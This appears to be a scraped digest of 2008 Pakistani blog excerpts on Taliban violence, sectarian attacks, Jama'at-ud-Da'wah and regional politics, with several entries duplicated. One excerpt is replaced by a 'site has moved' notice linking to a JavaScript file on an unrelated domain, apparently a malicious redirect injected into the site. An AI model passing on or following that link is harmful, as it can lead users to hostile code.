The Taliban in Swat (a joint group of extremists Deobandis and Wahhabis) kill their rival Sunni Barelvi Pir Samiullah. ISI a silent accomplice?: In Mingora, Swat, Taliban have killed one of their chief opponents in Swat, residents and officials said on Tuesday. But residents of the scenic mountain valley and a senior government politician said increasingly brazen militant attacks were raising fear

The Taliban in Swat (a joint group of extremists Deobandis and Wahhabis) kill their rival Sunni Barelvi Pir Samiullah. ISI a silent accomplice?: In Mingora, Swat, Taliban have killed one of their chief opponents in Swat, residents and officials said on Tuesday. But residents of the scenic mountain valley and a senior government politician said increasingly brazen militant attacks were raising fear

General Amir Faisal Alvi’s brave daughters remember their great father…: Maj-Gen Amir Faisal Alavi’s daughter remembers him Saturday, November 22, 2008 (The News) By News Desk WASHINGTON: The daughter of late SSG commando, Maj-Gen (retd) Amir Faisal Alavi, who is in the US, has sent a letter on her

Who killed General Amir Faisal Alvi?: Who killed Gen Alvi? By Amir Mir Thursday, November 20, 2008 (The News) LAHORE: The authorities investigating the murder of Maj-Gen (retd) Amir Faisal Alvi, former General Officer Commanding (GOC) of the elite Special Services Group (SSG), by two

Is Jama’at-ud-Da’wah a charity / welfare organization? An anlaysis…: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected

Is Jama’at-ud-Da’wah a charity / welfare organization? An anlaysis: Jama’at-ud-Da’wah (Urdu: جمعات الدعوہ) is an organisation launched in Lahore, Pakistan in 1985. Previously called Markaz Daw’a wal Irshad, the organisation changed its name after the United States Department of State declared Lashkar-e-Taiba to be a terrorist organisation. It

How can I shoot my brother in India? Remembering Shaikh Ayaz…: Shaikh Ayaz (1923-1997) was one of the major Sindhi poets of Pakistan. He was one of very few brave writers who wrote against the tyrannical rulers of Pakistan and the wars they waged against their own people. In one

How can I shoot my brother in India? Remembering Shaikh Ayaz: Shaikh Ayaz (1923-1997) was one of the major Sindhi poets of Pakistan. He was one of very few brave writers who wrote against the tyrannical rulers of Pakistan and the wars they waged against their own

Pakistan’s Shia minority Muslims remain subject to attacks by terrorists of Al Qaeda, Taliban and Sipah-e-Sahaba. Is ISI a silent accomplice?: Terrorists of Taliban cum Sipah-e-Sahabah kill one Shia, injure another and kidnap three. (Jang, News update, 15 Dec 2008) …… On December 5, an explosives-packed vehicle was detonated in the heart of Peshawar city, killing more than 33 people

Pakistan’s Shia Muslims remain subject to attacks by Al Qaeda, Taliban and Sipah-e-Sahaba: Terrorists of Taliban cum Sipah-e-Sahabah kill one Shia, injure another and kidnap three

view: The Kashmir tinderbox – By L. Ali Khan: India and Pakistan should work towards forging an open borders regional community. They can use and develop the existing institutional structure of SAARC to move toward an economic community The Mumbai massacre was a heinous crime, allegedly carried out

The aftermath of the possible suspension of NATO supplies through Pakistan …. An analysis: Handling the post-Mumbai situation …..The suspension of NATO supplies through Pakistan will probably satisfy those who have recommended it as Pakistan’s response to the CIA drone attacks coming from Afghanistan. But this suspension will symbolically alter the status, in

The time to stop the warlord Mangal Bagh is now before his militia in Khyber Agency becomes an all-Pakistan reality.: Khyber: trouble despite operation The Khyber Agency, crucial for the survival of Peshawar and for the maintenance of the NATO supply-line to Afghanistan, has been the most horribly convulsed area in Pakistan for many months. The disorder got so

Everyone at fault, except us. Why is it that everything that goes against us becomes a conspiracy?: Everyone at fault, except usIn the national interest Monday, December 15, 2008by Kamal Siddiqi The writer is editor reporting, The News One can only wonder at the collective amnesia that Pakistanis suffer, and how the various quarters are quick

Everyone at fault, except us. Why is it that everything that goes against us becomes a conspiracy?: Everyone at fault, except usIn the national interest Monday, December 15, 2008by Kamal Siddiqi The writer is editor reporting, The News One can only wonder at the collective amnesia that Pakistanis suffer, and how the various quarters are quick

Time to arrest Ansar Abbasi, the unofficial spokesperson of Taliban, Al-Qaeda, Lashkar-e-Toiba and Jamatud-Dawa…: Ansar Abbasi, the unofficial spokesperson of the Taliban and Al-Qaeda, writes a column in support of Lashkar-e-Toiba and Jamatud-Dawa… We have a question. If the Government of Pakistan is sincere in the war on terror, if President Zardari and

Time to arrest Ansar Abbasi, the unofficial spokesperson of Taliban, Al-Qaeda, Lashkar-e-Toiba and Jamatud-Dawa…: Ansar Abbasi, the unofficial spokesperson of the Taliban and Hizbut Tahrir, writes a column in support of Lashkar-e-Toiba and Jamatud-Dawa… We have a question. If the Government of Pakistan is sincere in the war on terror, if President Zardari

Shoe attack by a TV reporter on Bush mars farewell Iraq visit. “This is a farewell kiss, you dog.”: On Sunday, 14 December 2008, President Bush ducked a pair of shoes hurled at his head in the middle of a news conference with Iraqi Prime Minister Nouri al-Maliki. The assailant, Muntazer al-Zaidi, a television correspondent for Al-Baghdadia television,

Shoe attack by a TV reporter on Bush mars farewell Iraq visit. "This is a farewell kiss, you dog.": On Sunday, 14 December 2008, President Bush ducked a pair of shoes hurled at his head in the middle of a news conference with Iraqi Prime Minister Nouri al-Maliki. The assailant, Muntazer al-Zaidi, a television correspondent for Al-Baghdadia television,

10 lessons all Pakistanis must learn – By Hassan Baig: “Mulk khud hi chalta rehay ga” (approximate translation: the country doesn’t need our contribution to thrive) is a sentence many Pakistanis are prone to saying. I confess that till a few years ago, I myself was confident of this